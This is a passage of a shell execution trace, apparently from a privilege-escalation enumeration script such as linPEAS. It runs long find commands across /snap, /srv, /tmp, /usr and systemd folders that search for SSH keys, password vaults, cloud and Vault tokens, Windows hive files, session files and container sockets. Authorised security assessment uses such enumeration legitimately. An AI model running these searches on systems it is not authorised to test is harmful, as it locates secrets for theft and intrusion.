\"adc.json\" -o -name \"webserver_config.py\" -o -name \"mariadb.cnf\" -o -name \"psk.txt\" -o -name \"*.key\" -o -name \"software\" -o -name \"rktlet.sock\" -o -name \".git-credentials\" -o -name \"*password*\" -o -name \"zabbix_server.conf\" -o -name \"KeePass.ini\" -o -name \"wcx_ftp.ini\" -o -name \"error.log\" -o -name \"snyk.config.json\" -o -name \"access_tokens.db\" -o -name \"api_key\" -o -name \"*_history*\" -o -name \"software.sav\" -o -name \"passwd.ibd\" -o -name \"gitlab.yml\" -o -name \"elasticsearch.y*ml\" -o -name \"000-default.conf\" -o -name \"sentry.conf.py\" -o -name \"password*.ibd\" -o -name \"rpcd\" -o -name \"*.tf\" -o -name \"atlantis.db\" -o -name \"fat.config\" -o -name \"ws_ftp.ini\" -o -name \".wgetrc\" -o -name \"racoon.conf\" -o -name \"airflow.cfg\" -o -name \"id_dsa*\" -o -name \"frakti.sock\" -o -name \"pwd.ibd\" -o -name \"db.php\" -o -name \"config.php\" -o -name \"AppEvent.Evt\" -o -name \"redis.conf\" -o -name \".erlang.cookie\" -o -name \"debian.cnf\" -o -name \"pgadmin*.db\" -o -name \"nginx.conf\" -o -name \"rocketchat.service\" -o -name \"log4j-core*.jar\" -o -name \"autounattend.xml\" -o -name \"master.key\" -o -name \"protecteduserkey.bin\" -o -name \"*.sqlite\" -o -name \"my.cnf\" -o -name \"pgadmin4.db\" -o -name \"credentials.db\" -o -name \"fastcgi_params\" -o -name \"*.ovpn\" -o -name \"postgresql.conf\" -o -name \"bash.exe\" -o -name \"https-xampp.conf\" -o -name \"setupinfo.bak\" -o -name \"creds*\" -o -name \"mosquitto.conf\" -o -name \"*.crt\" -o -name \"*vnc*.xml\" -o -name \"my.ini\" -o -name \"database.php\" -o -name \"containerd.sock\" -o -name \".github\" -o -name \"storage.php\" -o -name \"glusterfs.pem\" -o -name \"*.vmdk\" -o -name \"plum.sqlite\" -o -name \"influxdb.conf\" -o -name \"krb5.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*.timer\" -o -name \"groups.xml\" -o -name \"pagefile.sys\" -o -name \"crio.sock\" -o -name \"Elastix.conf\" -o -name \"*.gpg\" -o -name \"*.pfx\" -o -name \"accessTokens.json\" -o -name \"access_tokens.json\" -o -name \"jetty-realm.properties\" -o -name \".k5login\" -o -name \"gvm-tools.conf\" -o -name \"appcmd.exe\" -o -name \"wsl.exe\" -o -name \"scclient.exe\" -o -name \".msmtprc\" -o -name \"known_hosts\" -o -name \"ffftp.ini\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \".htpasswd\" -o -name \"legacy_credentials.db\" -o -name \".sudo_as_admin_successful\" -o -name \"setupinfo\" -o -name \"*.gnupg\" -o -name \"kadm5.acl\" -o -name \"KeePass.enforced*\" -o -name \".env*\" -o -name \"smb.conf\" -o -name \"Dockerfile\" -o -name \"authorized_hosts\" -o -name \".plan\" -o -name \"settings.php\" -o -name \"vsftpd.conf\" -o -name \"winscp.ini\" -o -name \"unattend.txt\" -o -name \"web*.config\" -o -name \"secrets.ldb\" -o -name \"rsyncd.conf\" -o -name \"glusterfs.key\" -o -name \"mongod*.conf\" -o -name \"*.tfstate\" -o -name \"*.socket\" -o -name \"FreePBX.conf\" -o -name \"*.keyring\" -o -name \"credentials.xml\" -o -name \".roadtools_auth\" -o -name \"SYSTEM\" -o -name \"backup\" -o -name \".vault-token\" -o -name \"secrets.yml\" -o -name \"docker.sock\" -o -name \"passbolt.php\" -o -name \".ldaprc\" -o -name \"cesi.conf\" -o -name \"amportal.conf\" -o -name \"pg_hba.conf\" -o -name \"tomcat-users.xml\" -o -name \"mysqld.cnf\" -o -name \"*vnc*.c*nf*\" -o -name \"TokenCache.dat\" -o -name \"*config*.php\" -o -name \"sip.conf\" -o -name \"*.csr\" -o -name \"*.p12\" -o -name \"*.keystore\" -o -name \".git\" -o -name \".google_authenticator\" -o -name \"pgsql.conf\" -o -name \"scheduledtasks.xml\" -o -name \"*.ftpconfig\" -o -name \"gitlab.rm\" -o -name \"grafana.ini\" -o -name \"ipsec.conf\" -o -name \"*.pem\" -o -name \"hosts.equiv\" -o -name \".lesshst\" -o -name \"*.cer\" -o -name \"recentservers.xml\" -o -name \"Ntds.dit\" -o -name \"drives.xml\" -o -name \"printers.xml\" -o -name \"security.sav\" -o -name \"default.sav\" -o -name \"*vnc*.txt\" -o -name \"kibana.y*ml\" -o -name \"*.vhd\" -o -name \".credentials.json\" -o -name \"sysprep.xml\" -o -name \"id_rsa*\" -o -name \"glusterfs.ca\" -o -name \"*.der\" -o -name \"access.log\" -o -name \"datasources.xml\" -o -name \".boto\" -o -name \"passwd\" -o -name \"httpd.conf\" -o -name \"NetSetup.log\" -o -name \"*vnc*.ini\" -o -name \"*.pub\" -o -name \"snyk.json\" -o -name \".profile\" -o -name \"unattend.xml\" -o -name \"sssd.conf\" -o -name \"https.conf\" -o -name \"krb5cc_*\" -o -name \"wp-config.php\" -o -name \"hostapd.conf\" -o -name \"anaconda-ks.cfg\" -o -name \"RDCMan.settings\" -o -name \"firebase-tools.json\" -o -name \"*credential*\" -o -name \"docker-compose.yml\" -o -name \"cloud.cfg\" -o -name \"azureProfile.json\" -o -name \".recently-used.xbel\" -o -name \"*.swp\" -o -name \".rhosts\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_SNAP=`eval_bckgrd "find ${ROOT_FOLDER}snap -name \"*.psk\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.keytab\" -o -name \"ddclient.conf\" -o -name \"autologin.conf\" -o -name \"docker.socket\" -o -name \"unattended.xml\" -o -name \".bashrc\" -o -name \"filezilla.xml\" -o -name \".Xauthority\" -o -name \"*.viminfo\" -o -name \"snmpd.conf\" -o -name \"sites.ini\" -o -name \"autologin\" -o -name \"*.vhdx\" -o -name \"system.sav\" -o -name \"kcpassword\" -o -name \"rsyncd.secrets\" -o -name \"config.xml\" -o -name \"KeePass.config*\" -o -name \"ConsoleHost_history.txt\" -o -name \"php.ini\" -o -name \"unattend.inf\" -o -name \"server.xml\" -o -name \"AzureRMContext.json\" -o -name \"SAM\" -o -name \"*.service\" -o -name \"ntuser.dat\" -o -name \"bitcoin.conf\" -o -name \"dockershim.sock\" -o -name \"authorized_keys\" -o -name \"*.rdg\" -o -name \"supervisord.conf\" -o -name \"ftp.config\" -o -name \"sysprep.inf\" -o -name \"*.db\" -o -name \"*.sqlite3\" -o -name \"iis6.log\" -o -name \".secrets.mkey\" -o -name \"*.kdbx\" -o -name \"SecEvent.Evt\" -o -name \".gitconfig\" -o -name \"ftp.ini\" -o -name \".pypirc\" -o -name \"ipsec.secrets\" -o -name \"index.dat\" -o -name \".flyrc\" -o -name \"*.pgp\" -o -name \"backups\" -o -name \"*.jks\" -o -name \"hudson.util.Secret\" -o -name \"adc.json\" -o -name \"webserver_config.py\" -o -name \"mariadb.cnf\" -o -name \"psk.txt\" -o -name \"*.key\" -o -name \"software\" -o -name \"rktlet.sock\" -o -name \".git-credentials\" -o -name \"*password*\" -o -name \"zabbix_server.conf\" -o -name \"KeePass.ini\" -o -name \"wcx_ftp.ini\" -o -name \"error.log\" -o -name \"snyk.config.json\" -o -name \"access_tokens.db\" -o -name \"api_key\" -o -name \"*_history*\" -o -name \"software.sav\" -o -name \"passwd.ibd\" -o -name \"gitlab.yml\" -o -name \"elasticsearch.y*ml\" -o -name \"000-default.conf\" -o -name \"sentry.conf.py\" -o -name \"password*.ibd\" -o -name \"rpcd\" -o -name \"*.tf\" -o -name \"atlantis.db\" -o -name \"fat.config\" -o -name \"ws_ftp.ini\" -o -name \".wgetrc\" -o -name \"racoon.conf\" -o -name \"airflow.cfg\" -o -name \"id_dsa*\" -o -name \"frakti.sock\" -o -name \"pwd.ibd\" -o -name \"db.php\" -o -name \"config.php\" -o -name \"AppEvent.Evt\" -o -name \"redis.conf\" -o -name \".erlang.cookie\" -o -name \"debian.cnf\" -o -name \"pgadmin*.db\" -o -name \"nginx.conf\" -o -name \"rocketchat.service\" -o -name \"log4j-core*.jar\" -o -name \"autounattend.xml\" -o -name \"master.key\" -o -name \"protecteduserkey.bin\" -o -name \"*.sqlite\" -o -name \"my.cnf\" -o -name \"pgadmin4.db\" -o -name \"credentials.db\" -o -name \"fastcgi_params\" -o -name \"*.ovpn\" -o -name \"postgresql.conf\" -o -name \"bash.exe\" -o -name \"https-xampp.conf\" -o -name \"setupinfo.bak\" -o -name \"creds*\" -o -name \"mosquitto.conf\" -o -name \"*.crt\" -o -name \"*vnc*.xml\" -o -name \"my.ini\" -o -name \"database.php\" -o -name \"containerd.sock\" -o -name \".github\" -o -name \"storage.php\" -o -name \"glusterfs.pem\" -o -name \"*.vmdk\" -o -name \"plum.sqlite\" -o -name \"influxdb.conf\" -o -name \"krb5.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*.timer\" -o -name \"groups.xml\" -o -name \"pagefile.sys\" -o -name \"crio.sock\" -o -name \"Elastix.conf\" -o -name \"*.gpg\" -o -name \"*.pfx\" -o -name \"accessTokens.json\" -o -name \"access_tokens.json\" -o -name \"jetty-realm.properties\" -o -name \".k5login\" -o -name \"gvm-tools.conf\" -o -name \"appcmd.exe\" -o -name \"wsl.exe\" -o -name \"scclient.exe\" -o -name \".msmtprc\" -o -name \"known_hosts\" -o -name \"ffftp.ini\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \".htpasswd\" -o -name \"legacy_credentials.db\" -o -name \".sudo_as_admin_successful\" -o -name \"setupinfo\" -o -name \"*.gnupg\" -o -name \"kadm5.acl\" -o -name \"KeePass.enforced*\" -o -name \".env*\" -o -name \"smb.conf\" -o -name \"Dockerfile\" -o -name \"authorized_hosts\" -o -name \".plan\" -o -name \"settings.php\" -o -name \"vsftpd.conf\" -o -name \"winscp.ini\" -o -name \"unattend.txt\" -o -name \"web*.config\" -o -name \"secrets.ldb\" -o -name \"rsyncd.conf\" -o -name \"glusterfs.key\" -o -name \"mongod*.conf\" -o -name \"*.tfstate\" -o -name \"*.socket\" -o -name \"FreePBX.conf\" -o -name \"*.keyring\" -o -name \"credentials.xml\" -o -name \".roadtools_auth\" -o -name \"SYSTEM\" -o -name \"backup\" -o -name \".vault-token\" -o -name \"secrets.yml\" -o -name \"docker.sock\" -o -name \"passbolt.php\" -o -name \".ldaprc\" -o -name \"cesi.conf\" -o -name \"amportal.conf\" -o -name \"pg_hba.conf\" -o -name \"tomcat-users.xml\" -o -name \"mysqld.cnf\" -o -name \"*vnc*.c*nf*\" -o -name \"TokenCache.dat\" -o -name \"*config*.php\" -o -name \"sip.conf\" -o -name \"*.csr\" -o -name \"*.p12\" -o -name \"*.keystore\" -o -name \".git\" -o -name \".google_authenticator\" -o -name \"pgsql.conf\" -o -name \"scheduledtasks.xml\" -o -name \"*.ftpconfig\" -o -name \"gitlab.rm\" -o -name \"grafana.ini\" -o -name \"ipsec.conf\" -o -name \"*.pem\" -o -name \"hosts.equiv\" -o -name \".lesshst\" -o -name \"*.cer\" -o -name \"recentservers.xml\" -o -name \"Ntds.dit\" -o -name \"drives.xml\" -o -name \"printers.xml\" -o -name \"security.sav\" -o -name \"default.sav\" -o -name \"*vnc*.txt\" -o -name \"kibana.y*ml\" -o -name \"*.vhd\" -o -name \".credentials.json\" -o -name \"sysprep.xml\" -o -name \"id_rsa*\" -o -name \"glusterfs.ca\" -o -name \"*.der\" -o -name \"access.log\" -o -name \"datasources.xml\" -o -name \".boto\" -o -name \"passwd\" -o -name \"httpd.conf\" -o -name \"NetSetup.log\" -o -name \"*vnc*.ini\" -o -name \"*.pub\" -o -name \"snyk.json\" -o -name \".profile\" -o -name \"unattend.xml\" -o -name \"sssd.conf\" -o -name \"https.conf\" -o -name \"krb5cc_*\" -o -name \"wp-config.php\" -o -name \"hostapd.conf\" -o -name \"anaconda-ks.cfg\" -o -name \"RDCMan.settings\" -o -name \"firebase-tools.json\" -o -name \"*credential*\" -o -name \"docker-compose.yml\" -o -name \"cloud.cfg\" -o -name \"azureProfile.json\" -o -name \".recently-used.xbel\" -o -name \"*.swp\" -o -name \".rhosts\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_SRV=`eval_bckgrd "find ${ROOT_FOLDER}srv -name \"*.psk\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.keytab\" -o -name \"ddclient.conf\" -o -name \"autologin.conf\" -o -name \"docker.socket\" -o -name \"unattended.xml\" -o -name \".bashrc\" -o -name \"filezilla.xml\" -o -name \".Xauthority\" -o -name \"*.viminfo\" -o -name \"snmpd.conf\" -o -name \"sites.ini\" -o -name \"autologin\" -o -name \"*.vhdx\" -o -name \"system.sav\" -o -name \"kcpassword\" -o -name \"rsyncd.secrets\" -o -name \"config.xml\" -o -name \"KeePass.config*\" -o -name \"ConsoleHost_history.txt\" -o -name \"php.ini\" -o -name \"unattend.inf\" -o -name \"server.xml\" -o -name \"AzureRMContext.json\" -o -name \"SAM\" -o -name \"*.service\" -o -name \"ntuser.dat\" -o -name \"bitcoin.conf\" -o -name \"dockershim.sock\" -o -name \"authorized_keys\" -o -name \"*.rdg\" -o -name \"supervisord.conf\" -o -name \"ftp.config\" -o -name \"sysprep.inf\" -o -name \"*.db\" -o -name \"*.sqlite3\" -o -name \"iis6.log\" -o -name \".secrets.mkey\" -o -name \"*.kdbx\" -o -name \"SecEvent.Evt\" -o -name \".gitconfig\" -o -name \"ftp.ini\" -o -name \".pypirc\" -o -name \"ipsec.secrets\" -o -name \"index.dat\" -o -name \".flyrc\" -o -name \"*.pgp\" -o -name \"backups\" -o -name \"*.jks\" -o -name \"hudson.util.Secret\" -o -name \"adc.json\" -o -name \"webserver_config.py\" -o -name \"mariadb.cnf\" -o -name \"psk.txt\" -o -name \"*.key\" -o -name \"software\" -o -name \"rktlet.sock\" -o -name \".git-credentials\" -o -name \"*password*\" -o -name \"zabbix_server.conf\" -o -name \"KeePass.ini\" -o -name \"wcx_ftp.ini\" -o -name \"error.log\" -o -name \"snyk.config.json\" -o -name \"access_tokens.db\" -o -name \"api_key\" -o -name \"*_history*\" -o -name \"software.sav\" -o -name \"passwd.ibd\" -o -name \"gitlab.yml\" -o -name \"elasticsearch.y*ml\" -o -name \"000-default.conf\" -o -name \"sentry.conf.py\" -o -name \"password*.ibd\" -o -name \"rpcd\" -o -name \"*.tf\" -o -name \"atlantis.db\" -o -name \"fat.config\" -o -name \"ws_ftp.ini\" -o -name \".wgetrc\" -o -name \"racoon.conf\" -o -name \"airflow.cfg\" -o -name \"id_dsa*\" -o -name \"frakti.sock\" -o -name \"pwd.ibd\" -o -name \"db.php\" -o -name \"config.php\" -o -name \"AppEvent.Evt\" -o -name \"redis.conf\" -o -name \".erlang.cookie\" -o -name \"debian.cnf\" -o -name \"pgadmin*.db\" -o -name \"nginx.conf\" -o -name \"rocketchat.service\" -o -name \"log4j-core*.jar\" -o -name \"autounattend.xml\" -o -name \"master.key\" -o -name \"protecteduserkey.bin\" -o -name \"*.sqlite\" -o -name \"my.cnf\" -o -name \"pgadmin4.db\" -o -name \"credentials.db\" -o -name \"fastcgi_params\" -o -name \"*.ovpn\" -o -name \"postgresql.conf\" -o -name \"bash.exe\" -o -name \"https-xampp.conf\" -o -name \"setupinfo.bak\" -o -name \"creds*\" -o -name \"mosquitto.conf\" -o -name \"*.crt\" -o -name \"*vnc*.xml\" -o -name \"my.ini\" -o -name \"database.php\" -o -name \"containerd.sock\" -o -name \".github\" -o -name \"storage.php\" -o -name \"glusterfs.pem\" -o -name \"*.vmdk\" -o -name \"plum.sqlite\" -o -name \"influxdb.conf\" -o -name \"krb5.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*.timer\" -o -name \"groups.xml\" -o -name \"pagefile.sys\" -o -name \"crio.sock\" -o -name \"Elastix.conf\" -o -name \"*.gpg\" -o -name \"*.pfx\" -o -name \"accessTokens.json\" -o -name \"access_tokens.json\" -o -name \"jetty-realm.properties\" -o -name \".k5login\" -o -name \"gvm-tools.conf\" -o -name \"appcmd.exe\" -o -name \"wsl.exe\" -o -name \"scclient.exe\" -o -name \".msmtprc\" -o -name \"known_hosts\" -o -name \"ffftp.ini\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \".htpasswd\" -o -name \"legacy_credentials.db\" -o -name \".sudo_as_admin_successful\" -o -name \"setupinfo\" -o -name \"*.gnupg\" -o -name \"kadm5.acl\" -o -name \"KeePass.enforced*\" -o -name \".env*\" -o -name \"smb.conf\" -o -name \"Dockerfile\" -o -name \"authorized_hosts\" -o -name \".plan\" -o -name \"settings.php\" -o -name \"vsftpd.conf\" -o -name \"winscp.ini\" -o -name \"unattend.txt\" -o -name \"web*.config\" -o -name \"secrets.ldb\" -o -name \"rsyncd.conf\" -o -name \"glusterfs.key\" -o -name \"mongod*.conf\" -o -name \"*.tfstate\" -o -name \"*.socket\" -o -name \"FreePBX.conf\" -o -name \"*.keyring\" -o -name \"credentials.xml\" -o -name \".roadtools_auth\" -o -name \"SYSTEM\" -o -name \"backup\" -o -name \".vault-token\" -o -name \"secrets.yml\" -o -name \"docker.sock\" -o -name \"passbolt.php\" -o -name \".ldaprc\" -o -name \"cesi.conf\" -o -name \"amportal.conf\" -o -name \"pg_hba.conf\" -o -name \"tomcat-users.xml\" -o -name \"mysqld.cnf\" -o -name \"*vnc*.c*nf*\" -o -name \"TokenCache.dat\" -o -name \"*config*.php\" -o -name \"sip.conf\" -o -name \"*.csr\" -o -name \"*.p12\" -o -name \"*.keystore\" -o -name \".git\" -o -name \".google_authenticator\" -o -name \"pgsql.conf\" -o -name \"scheduledtasks.xml\" -o -name \"*.ftpconfig\" -o -name \"gitlab.rm\" -o -name \"grafana.ini\" -o -name \"ipsec.conf\" -o -name \"*.pem\" -o -name \"hosts.equiv\" -o -name \".lesshst\" -o -name \"*.cer\" -o -name \"recentservers.xml\" -o -name \"Ntds.dit\" -o -name \"drives.xml\" -o -name \"printers.xml\" -o -name \"security.sav\" -o -name \"default.sav\" -o -name \"*vnc*.txt\" -o -name \"kibana.y*ml\" -o -name \"*.vhd\" -o -name \".credentials.json\" -o -name \"sysprep.xml\" -o -name \"id_rsa*\" -o -name \"glusterfs.ca\" -o -name \"*.der\" -o -name \"access.log\" -o -name \"datasources.xml\" -o -name \".boto\" -o -name \"passwd\" -o -name \"httpd.conf\" -o -name \"NetSetup.log\" -o -name \"*vnc*.ini\" -o -name \"*.pub\" -o -name \"snyk.json\" -o -name \".profile\" -o -name \"unattend.xml\" -o -name \"sssd.conf\" -o -name \"https.conf\" -o -name \"krb5cc_*\" -o -name \"wp-config.php\" -o -name \"hostapd.conf\" -o -name \"anaconda-ks.cfg\" -o -name \"RDCMan.settings\" -o -name \"firebase-tools.json\" -o -name \"*credential*\" -o -name \"docker-compose.yml\" -o -name \"cloud.cfg\" -o -name \"azureProfile.json\" -o -name \".recently-used.xbel\" -o -name \"*.swp\" -o -name \".rhosts\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_SYS=`eval_bckgrd "find ${ROOT_FOLDER}sys -name \"*.socket\" -o -name \"*.service\" -o -name \"*.timer\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_SYSTEM=`eval_bckgrd "find ${ROOT_FOLDER}system -name \"*.socket\" -o -name \"*.service\" -o -name \"*.timer\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_SYSTEMD=`eval_bckgrd "find ${ROOT_FOLDER}systemd -name \"*.socket\" -o -name \"*.service\" -o -name \"*.timer\" -o -name \"rocketchat.service\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_TMP=`eval_bckgrd "find ${ROOT_FOLDER}tmp -name \"*.psk\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.keytab\" -o -name \"ddclient.conf\" -o -name \"autologin.conf\" -o -name \"docker.socket\" -o -name \"unattended.xml\" -o -name \".bashrc\" -o -name \"filezilla.xml\" -o -name \".Xauthority\" -o -name \"*.viminfo\" -o -name \"snmpd.conf\" -o -name \"sites.ini\" -o -name \"autologin\" -o -name \"*.vhdx\" -o -name \"system.sav\" -o -name \"kcpassword\" -o -name \"rsyncd.secrets\" -o -name \"config.xml\" -o -name \"KeePass.config*\" -o -name \"ConsoleHost_history.txt\" -o -name \"php.ini\" -o -name \"unattend.inf\" -o -name \"server.xml\" -o -name \"AzureRMContext.json\" -o -name \"SAM\" -o -name \"*.service\" -o -name \"ntuser.dat\" -o -name \"bitcoin.conf\" -o -name \"dockershim.sock\" -o -name \"authorized_keys\" -o -name \"*.rdg\" -o -name \"supervisord.conf\" -o -name \"ftp.config\" -o -name \"sysprep.inf\" -o -name \"*.db\" -o -name \"*.sqlite3\" -o -name \"iis6.log\" -o -name \".secrets.mkey\" -o -name \"*.kdbx\" -o -name \"SecEvent.Evt\" -o -name \".gitconfig\" -o -name \"ftp.ini\" -o -name \".pypirc\" -o -name \"ipsec.secrets\" -o -name \"index.dat\" -o -name \".flyrc\" -o -name \"*.pgp\" -o -name \"backups\" -o -name \"*.jks\" -o -name \"hudson.util.Secret\" -o -name \"adc.json\" -o -name \"webserver_config.py\" -o -name \"mariadb.cnf\" -o -name \"psk.txt\" -o -name \"*.key\" -o -name \"software\" -o -name \"rktlet.sock\" -o -name \".git-credentials\" -o -name \"*password*\" -o -name \"zabbix_server.conf\" -o -name \"KeePass.ini\" -o -name \"wcx_ftp.ini\" -o -name \"error.log\" -o -name \"snyk.config.json\" -o -name \"access_tokens.db\" -o -name \"api_key\" -o -name \"*_history*\" -o -name \"software.sav\" -o -name \"passwd.ibd\" -o -name \"gitlab.yml\" -o -name \"elasticsearch.y*ml\" -o -name \"000-default.conf\" -o -name \"sentry.conf.py\" -o -name \"password*.ibd\" -o -name \"rpcd\" -o -name \"*.tf\" -o -name \"atlantis.db\" -o -name \"fat.config\" -o -name \"ws_ftp.ini\" -o -name \".wgetrc\" -o -name \"racoon.conf\" -o -name \"airflow.cfg\" -o -name \"id_dsa*\" -o -name \"frakti.sock\" -o -name \"pwd.ibd\" -o -name \"db.php\" -o -name \"config.php\" -o -name \"AppEvent.Evt\" -o -name \"redis.conf\" -o -name \".erlang.cookie\" -o -name \"debian.cnf\" -o -name \"pgadmin*.db\" -o -name \"nginx.conf\" -o -name \"rocketchat.service\" -o -name \"log4j-core*.jar\" -o -name \"autounattend.xml\" -o -name \"master.key\" -o -name \"protecteduserkey.bin\" -o -name \"*.sqlite\" -o -name \"my.cnf\" -o -name \"pgadmin4.db\" -o -name \"credentials.db\" -o -name \"fastcgi_params\" -o -name \"*.ovpn\" -o -name \"postgresql.conf\" -o -name \"bash.exe\" -o -name \"https-xampp.conf\" -o -name \"setupinfo.bak\" -o -name \"creds*\" -o -name \"mosquitto.conf\" -o -name \"*.crt\" -o -name \"*vnc*.xml\" -o -name \"my.ini\" -o -name \"database.php\" -o -name \"containerd.sock\" -o -name \".github\" -o -name \"storage.php\" -o -name \"glusterfs.pem\" -o -name \"*.vmdk\" -o -name \"plum.sqlite\" -o -name \"influxdb.conf\" -o -name \"krb5.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*.timer\" -o -name \"groups.xml\" -o -name \"pagefile.sys\" -o -name \"crio.sock\" -o -name \"Elastix.conf\" -o -name \"*.gpg\" -o -name \"*.pfx\" -o -name \"accessTokens.json\" -o -name \"access_tokens.json\" -o -name \"jetty-realm.properties\" -o -name \".k5login\" -o -name \"gvm-tools.conf\" -o -name \"appcmd.exe\" -o -name \"wsl.exe\" -o -name \"scclient.exe\" -o -name \".msmtprc\" -o -name \"known_hosts\" -o -name \"ffftp.ini\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \".htpasswd\" -o -name \"legacy_credentials.db\" -o -name \".sudo_as_admin_successful\" -o -name \"setupinfo\" -o -name \"*.gnupg\" -o -name \"kadm5.acl\" -o -name \"agent*\" -o -name \".env*\" -o -name \"KeePass.enforced*\" -o -name \"Dockerfile\" -o -name \"smb.conf\" -o -name \"authorized_hosts\" -o -name \".plan\" -o -name \"settings.php\" -o -name \"vsftpd.conf\" -o -name \"winscp.ini\" -o -name \"unattend.txt\" -o -name \"web*.config\" -o -name \"secrets.ldb\" -o -name \"rsyncd.conf\" -o -name \"glusterfs.key\" -o -name \"mongod*.conf\" -o -name \"*.tfstate\" -o -name \"*.socket\" -o -name \"FreePBX.conf\" -o -name \"*.keyring\" -o -name \"credentials.xml\" -o -name \".roadtools_auth\" -o -name \"SYSTEM\" -o -name \"backup\" -o -name \".vault-token\" -o -name \"secrets.yml\" -o -name \"docker.sock\" -o -name \"passbolt.php\" -o -name \".ldaprc\" -o -name \"cesi.conf\" -o -name \"amportal.conf\" -o -name \"pg_hba.conf\" -o -name \"tomcat-users.xml\" -o -name \"mysqld.cnf\" -o -name \"*vnc*.c*nf*\" -o -name \"TokenCache.dat\" -o -name \"*config*.php\" -o -name \"sip.conf\" -o -name \"*.csr\" -o -name \"*.p12\" -o -name \"*.keystore\" -o -name \".git\" -o -name \".google_authenticator\" -o -name \"pgsql.conf\" -o -name \"scheduledtasks.xml\" -o -name \"*.ftpconfig\" -o -name \"gitlab.rm\" -o -name \"sess_*\" -o -name \"grafana.ini\" -o -name \"ipsec.conf\" -o -name \"*.pem\" -o -name \"hosts.equiv\" -o -name \".lesshst\" -o -name \"*.cer\" -o -name \"recentservers.xml\" -o -name \"Ntds.dit\" -o -name \"drives.xml\" -o -name \"printers.xml\" -o -name \"security.sav\" -o -name \"default.sav\" -o -name \"*vnc*.txt\" -o -name \"kibana.y*ml\" -o -name \"*.vhd\" -o -name \".credentials.json\" -o -name \"sysprep.xml\" -o -name \"id_rsa*\" -o -name \"glusterfs.ca\" -o -name \"*.der\" -o -name \"access.log\" -o -name \"datasources.xml\" -o -name \".boto\" -o -name \"passwd\" -o -name \"httpd.conf\" -o -name \"NetSetup.log\" -o -name \"*vnc*.ini\" -o -name \"*.pub\" -o -name \"snyk.json\" -o -name \".profile\" -o -name \"unattend.xml\" -o -name \"sssd.conf\" -o -name \"https.conf\" -o -name \"krb5cc_*\" -o -name \"wp-config.php\" -o -name \"hostapd.conf\" -o -name \"anaconda-ks.cfg\" -o -name \"RDCMan.settings\" -o -name \"firebase-tools.json\" -o -name \"*credential*\" -o -name \"docker-compose.yml\" -o -name \"cloud.cfg\" -o -name \"azureProfile.json\" -o -name \".recently-used.xbel\" -o -name \"*.swp\" -o -name \".rhosts\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_USR=`eval_bckgrd "find ${ROOT_FOLDER}usr -name \"*.psk\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.keytab\" -o -name \"ddclient.conf\" -o -name \"autologin.conf\" -o -name \"docker.socket\" -o -name \"unattended.xml\" -o -name \".bashrc\" -o -name \"filezilla.xml\" -o -name \".Xauthority\" -o -name \"*.viminfo\" -o -name \"snmpd.conf\" -o -name \"sites.ini\" -o -name \"autologin\" -o -name \"*.vhdx\" -o -name \"system.sav\" -o -name \"kcpassword\" -o -name \"rsyncd.secrets\" -o -name \"config.xml\" -o -name \"KeePass.config*\" -o -name \"ConsoleHost_history.txt\" -o -name \"php.ini\" -o -name \"unattend.inf\" -o -name \"server.xml\" -o -name \"AzureRMContext.json\" -o -name \"SAM\" -o -name \"*.service\" -o -name \"ntuser.dat\" -o -name \"bitcoin.conf\" -o -name \"dockershim.sock\" -o -name \"authorized_keys\" -o -name \"*.rdg\" -o -name \"supervisord.conf\" -o -name \"ftp.config\" -o -name \"sysprep.inf\" -o -name \"*.db\" -o -name \"*.sqlite3\" -o -name \"iis6.log\" -o -name \".secrets.mkey\" -o -name \"*.kdbx\" -o -name \"SecEvent.Evt\" -o -name \".gitconfig\" -o -name \"ftp.ini\" -o -name \".pypirc\" -o -name \"ipsec.secrets\" -o -name \"index.dat\" -o -name \".flyrc\" -o -name \"*.pgp\" -o -name \"backups\" -o -name \"*.jks\" -o -name \"hudson.util.Secret\" -o -name \"adc.json\" -o -name \"webserver_config.py\" -o -name \"mariadb.cnf\" -o -name \"psk.txt\" -o -name \"*.key\" -o -name \"software\" -o -name \"rktlet.sock\" -o -name \".git-credentials\" -o -name \"*password*\" -o -name \"zabbix_server.conf\" -o -name \"KeePass.ini\" -o -name \"wcx_ftp.ini\" -o -name \"error.log\" -o -name \"snyk.config.json\" -o -name \"access_tokens.db\" -o -name \"api_key\" -o -name \"*_history*\" -o -name \"software.sav\" -o -name \"passwd.ibd\" -o -name \"gitlab.yml\" -o -name \"elasticsearch.y*ml\" -o -name \"000-default.conf\" -o -name \"sentry.conf.py\" -o -name \"ssh*config\" -o -name \"password*.ibd\" -o -name \"rpcd\" -o -name \"*.tf\" -o -name \"atlantis.db\" -o -name \"fat.config\" -o -name \"ws_ftp.ini\" -o -name \".wgetrc\" -o -name \"racoon.conf\" -o -name \"airflow.cfg\" -o -name \"id_dsa*\" -o -name \"frakti.sock\" -o -name \"pwd.ibd\" -o -name \"db.php\" -o -name \"config.php\" -o -name \"AppEvent.Evt\" -o -name \"redis.conf\" -o -name \".erlang.cookie\" -o -name \"debian.cnf\" -o -name \"pgadmin*.db\" -o -name \"nginx.conf\" -o -name \"rocketchat.service\" -o -name \"log4j-core*.jar\" -o -name \"autounattend.xml\" -o -name \"master.key\" -o -name \"protecteduserkey.bin\" -o -name \"*.sqlite\" -o -name \"my.cnf\" -o -name \"pgadmin4.db\" -o -name \"credentials.db\" -o -name \"fastcgi_params\" -o -name \"*.ovpn\" -o -name 